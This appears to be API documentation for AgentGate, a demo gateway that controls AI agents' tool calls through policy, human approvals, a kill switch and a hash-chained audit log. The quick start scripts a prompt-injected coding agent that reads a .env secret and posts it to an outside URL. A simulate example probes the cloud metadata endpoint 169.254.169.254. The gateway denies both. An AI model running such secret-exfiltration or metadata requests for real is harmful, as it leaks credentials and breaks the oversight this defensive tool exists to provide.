API docs
How to test AgentGate from a terminal: act as a synthetic AI agent, watch policy decide, approve risky actions as a human, pull the kill switch and read the audit chain.
All data here is mock-up data. Tenants, users, agents, tools, files and credentials are synthetic. Tools are simulated: nothing reaches GitHub, the internet or a real ledger. The demo resets every 30 minutes.
Quick start: the exfiltration story
Base URL https://agentgate.enthernetservice.com. Run these in order.
# 1. The coding agent reads a file inside its task: ALLOW
curl -s -X POST -H "Content-Type: application/json" https://agentgate.enthernetservice.com/v1/demo/agents/AG-CODE/act \
-d '{"tool":"github","operation":"read_file","arguments":{"path":"tenant-a/payments-service/.env"}}'
# → ALLOW, and the secret in the file comes back as STRIPE_[REDACTED]
# 2. Prompt-injected, it tries to POST to an allowlisted host: DENY + incident
curl -s -X POST -H "Content-Type: application/json" https://agentgate.enthernetservice.com/v1/demo/agents/AG-CODE/act \
-d '{"tool":"http","operation":"post","arguments":{"url":"https://github.com/collect","body":"STRIPE_KEY=..."}}'
# → DENY · sequence_policy: sensitive read followed by outbound transmission
# 3. The agent is now suspended and its tokens revoked
curl -s -X POST -H "Content-Type: application/json" https://agentgate.enthernetservice.com/v1/demo/agents/AG-CODE/act \
-d '{"tool":"github","operation":"read_file","arguments":{"path":"tenant-a/payments-service/README.md"}}'
# → DENY · authentication: agent tokens revoked
# 4. See the incident and verify the audit chain as the security admin
curl -s -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/incidents
curl -s -H "X-Demo-User: USR-A-SEC" "https://agentgate.enthernetservice.com/v1/audit?limit=5"
# 5. Put things back
curl -s -X POST -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/demo/reset
Try it: act as an agent
Response appears here.
Auth & users
Humans authenticate with an X-Demo-User header carrying a demo user id (production uses SSO). The tenant always comes from the user, never from the request body. Agents use short-lived bearer tokens plus a per-request signature.
| X-Demo-User | Role | Tenant | Can | |
|---|---|---|---|---|
USR-A-OWN | owner@northwind.demo | OWNER | Northwind | everything |
USR-A-SEC | sec@northwind.demo | SECURITY_ADMIN | Northwind | approve up to SECURITY_ADMIN, kill switch, incidents, audit |
USR-A-APR | approver@northwind.demo | APPROVER | Northwind | approve APPROVER-level requests |
USR-A-ANL | analyst@northwind.demo | ANALYST | Northwind | incidents, audit |
USR-A-VWR | viewer@northwind.demo | VIEWER | Northwind | read only |
USR-B-SEC | sec@contoso.demo | SECURITY_ADMIN | Contoso | same as above, other tenant (sees nothing of Northwind) |
Agents & tasks
| Agent | Name | Task | Tools | Scope |
|---|---|---|---|---|
AG-CODE | Coding Agent | TASK-91 · Fix flaky test in payments-service | github, http | repos tenant-a/payments-service*; github.com, api.company.internal |
AG-RSCH | Research Agent | TASK-92 · Summarise Python asyncio docs | http, filesystem | files tenant-a/research/*; docs.python.org, *.wikipedia.org |
AG-FIN | Finance Agent | TASK-93 · Clean up duplicate invoices | finance | ledger tenant-a/invoices; may request delete_invoices (critical) |
AG-B-CODE | Coding Agent (B) | TASK-B1 · Tenant B maintenance | github | Contoso tenant only |
Full detail, including every tool operation and its arguments, from GET /v1/demo.
Endpoints
Demo (testing)
GET/v1/demoThe synthetic world: users, agents, tasks, tools and when it next resets
Who: anyone
curl https://agentgate.enthernetservice.com/v1/demo
Use it to find agent ids (AG-CODE, AG-RSCH, AG-FIN, AG-B-CODE), each task's allowed tools, resources and destinations, and every tool operation with its argument names.
POST/v1/demo/agents/{agent_id}/actAct as a synthetic agent: sign a tool call and send it through the gateway
Who: anyone
curl -X POST -H "Content-Type: application/json" \
-d '{"tool":"finance","operation":"delete_invoices",
"arguments":{"ledger":"tenant-a/invoices","invoice_ids":["INV-1002"]}}' \
https://agentgate.enthernetservice.com/v1/demo/agents/AG-FIN/act{
"request_id": "REQ-f71bd730ce",
"decision": "REQUIRE_APPROVAL",
"policy": "critical_action_policy",
"reason": "Critical action requires SECURITY_ADMIN approval",
"result": null,
"approval_id": "APR-6475f0b14ac1",
"incident_id": null,
"limits": null,
"replayed_from_idempotency": false,
"authorized_by": "POLICY",
"ai_authorization": "NEVER",
"signed_request": {
"request_id": "REQ-f71bd730ce",
"agent_id": "AG-FIN",
"task_id": "TASK-93",
"timestamp": 1800000000.0,
"nonce": "e447f180da8bda93ba1b4434",
"idempotency_key": "cae25ef4\u2026",
"signature": "94d5f8c2\u2026"
}
}This plays the agent SDK. The server holds the agent's short-lived token and signing key, signs the request exactly as /v1/actions requires, and runs the full gateway path: authentication, task scope, schema, resources, sequence, destination, rate, budget, risk, credential injection, redaction and audit. Body: tool, operation, arguments (extra fields are rejected).
A suspended or revoked agent gets DENY · authentication, and 409 if a new token can't be issued.
POST/v1/demo/resetRebuild the synthetic world now
Who: any demo user
curl -X POST -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/demo/reset
{"reset": true, "next_reset_in_seconds": 1800}Unsuspends agents and clears budgets, approvals, incidents and the audit log. It also happens automatically every 30 minutes.
Data plane (agents)
POST/v1/actionsSubmit a signed tool call as an agent
Who: an agent with a valid token
curl -X POST -H "Authorization: Bearer $AGENT_TOKEN" -H "Content-Type: application/json" \
-d '{"request_id":"REQ-1","tool":"github","operation":"read_file",
"arguments":{"path":"tenant-a/payments-service/README.md"},
"idempotency_key":"idem-1","timestamp":<gateway time>,"nonce":"<random>",
"signature":"<hex HMAC-SHA256>"}' \
https://agentgate.enthernetservice.com/v1/actionssignature = hex HMAC-SHA256 with the agent's signing key over the canonical JSON (sorted keys, no spaces) of {"request_id","timestamp","nonce","tool","operation","arguments_hash","idempotency_key"}, where arguments_hash is the SHA-256 of the canonical arguments. Timestamps outside the allowed skew and reused nonces are refused; reusing an idempotency key with different arguments is denied.
In this demo the agents' signing keys stay on the server and the gateway runs on a fixed demo clock, so use /v1/demo/agents/{agent_id}/act to exercise this path. A request with a wrong signature is denied as request_integrity and recorded as a bypass attempt.
Control plane (humans)
POST/v1/agents/{agent_id}/tokens?task_id=…Issue a 15-minute token binding an agent to one task
Who: OWNER, AGENT_ADMIN
curl -X POST -H "X-Demo-User: USR-A-OWN" "https://agentgate.enthernetservice.com/v1/agents/AG-CODE/tokens?task_id=TASK-91"
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.…", "ttl_seconds": 900}GET/v1/approvalsApprovals for your tenant, with redacted arguments
Who: any role
curl -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/approvals
[
{
"id": "APR-6475f0b14ac1",
"agent_id": "AG-FIN",
"task_id": "TASK-93",
"operation": "finance.delete_invoices",
"arguments": {
"ledger": "tenant-a/invoices",
"invoice_ids": [
"INV-1002"
]
},
"required_role": "SECURITY_ADMIN",
"decision": "PENDING",
"requested_at": 1800000000.0
}
]POST/v1/approvals/{approval_id}/decisionDecide an approval; approving runs the held action once
Who: the required role or higher (APPROVER < SECURITY_ADMIN < OWNER)
curl -X POST -H "X-Demo-User: USR-A-SEC" -H "Content-Type: application/json" \
-d '{"decision":"APPROVE_ONCE","reason":"Duplicate confirmed"}' \
https://agentgate.enthernetservice.com/v1/approvals/APR-6475f0b14ac1/decision{
"request_id": "REQ-f71bd730ce",
"decision": "ALLOW",
"policy": "task_scope",
"reason": "Within task scope",
"result": {
"deleted": [
"INV-1002"
]
},
"approval_id": "APR-6475f0b14ac1",
"authorized_by": "POLICY",
"ai_authorization": "NEVER"
}decision: APPROVE_ONCE, APPROVE_TASK, REJECT or SUSPEND_AGENT. The approval is bound to the exact arguments, single-use and expiring. An APPROVER trying a SECURITY_ADMIN approval gets 403 requires SECURITY_ADMIN.
POST/v1/killswitch/{action}/{target}Contain an agent, task or tool immediately
Who: SECURITY_ADMIN, OWNER (AGENT_ADMIN can suspend and cancel)
curl -X POST -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/killswitch/suspend_agent/AG-RSCH
{"ok": true}Actions: suspend_agent, unsuspend_agent, revoke_agent (all its tokens die), cancel_task, disable_tool (target is the tool name), and disable_tenant_agents (target is ignored; suspends every agent in your tenant).
POST/v1/policy/simulateDry-run the decision chain without executing anything
Who: any role
curl -X POST -H "X-Demo-User: USR-A-VWR" -H "Content-Type: application/json" \
-d '{"agent_id":"AG-CODE","task_id":"TASK-91","tool":"http","operation":"get",
"arguments":{"url":"http://169.254.169.254/latest/meta-data"}}' \
https://agentgate.enthernetservice.com/v1/policy/simulate{
"decision": "DENY",
"policy": "external_destination_policy",
"reason": "169.254.169.254 is a metadata endpoint",
"incident_required": true
}GET/v1/incidentsSecurity incidents opened by the gateway
Who: any role
curl -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/incidents
Each has severity, type (for example suspicious_sequence, unauthorized_destination, cross_tenant_attempt), the agent and the triggering request.
GET/v1/audit?limit=200Keyed, hash-chained audit log and whether the chain is intact
Who: SECURITY_ADMIN, ANALYST, AUDITOR, OWNER
curl -H "X-Demo-User: USR-A-ANL" "https://agentgate.enthernetservice.com/v1/audit?limit=2"
{
"chain_intact": true,
"first_bad_index": null,
"events": [
{
"id": "EV-dd66934ccbf5",
"tenant_id": "TEN-A",
"actor_type": "USER",
"actor_id": "USR-A-SEC",
"event_type": "AGENT_SUSPENDED",
"resource_type": "agent",
"resource_id": "AG-RSCH",
"metadata": {},
"created_at": 1800000000.0,
"event_hash": "a028109e\u2026",
"previous_hash": "08af97e4\u2026"
}
]
}limit max 1000. Credentials never appear in events.
GET/v1/dashboardLive counters for your tenant
Who: any role
curl -H "X-Demo-User: USR-A-VWR" https://agentgate.enthernetservice.com/v1/dashboard
{
"demo_mode": true,
"active_agents": 2,
"active_tasks": 3,
"actions": 5,
"allowed": 2,
"denied": 2,
"awaiting_approval": 1,
"suspended_agents": 1,
"open_incidents": 1,
"top_denial_reasons": [
[
"tool_permission",
1
],
[
"sequence_policy",
1
]
]
}WS/ws/events?user=USR-A-VWRLive stream of gateway decisions for your tenant
Who: any demo user
websocat "wss://agentgate.enthernetservice.com/ws/events?user=USR-A-VWR"
One JSON message per decision. Unknown users are closed with code 4401.
Decisions
| ALLOW | Within the task's scope; executed through the proxy with credentials injected server-side. |
| ALLOW_WITH_LIMITS | Executed with operation limits (response size, timeout), shown in limits. |
| REQUIRE_APPROVAL | Held. Nothing runs until a human with the required role approves; approval_id identifies it. |
| DENY | Refused. policy names the rule (for example sequence_policy, external_destination_policy, tenant_isolation, rate_limit, tool_schema); serious ones open an incident (incident_id) and can suspend the agent. |
Every response carries "authorized_by": "POLICY" and "ai_authorization": "NEVER": no model is consulted in the decision.
Errors
401 | Unknown X-Demo-User, or missing bearer token on /v1/actions |
403 | Role lacks the permission, or the approval needs a higher role |
404 | Not found, or belongs to another tenant (same answer on purpose) |
409 | Demo emulator couldn't issue a token for that agent |
422 | Body failed validation (unknown fields are rejected) |
429 | Rate limited by the server |
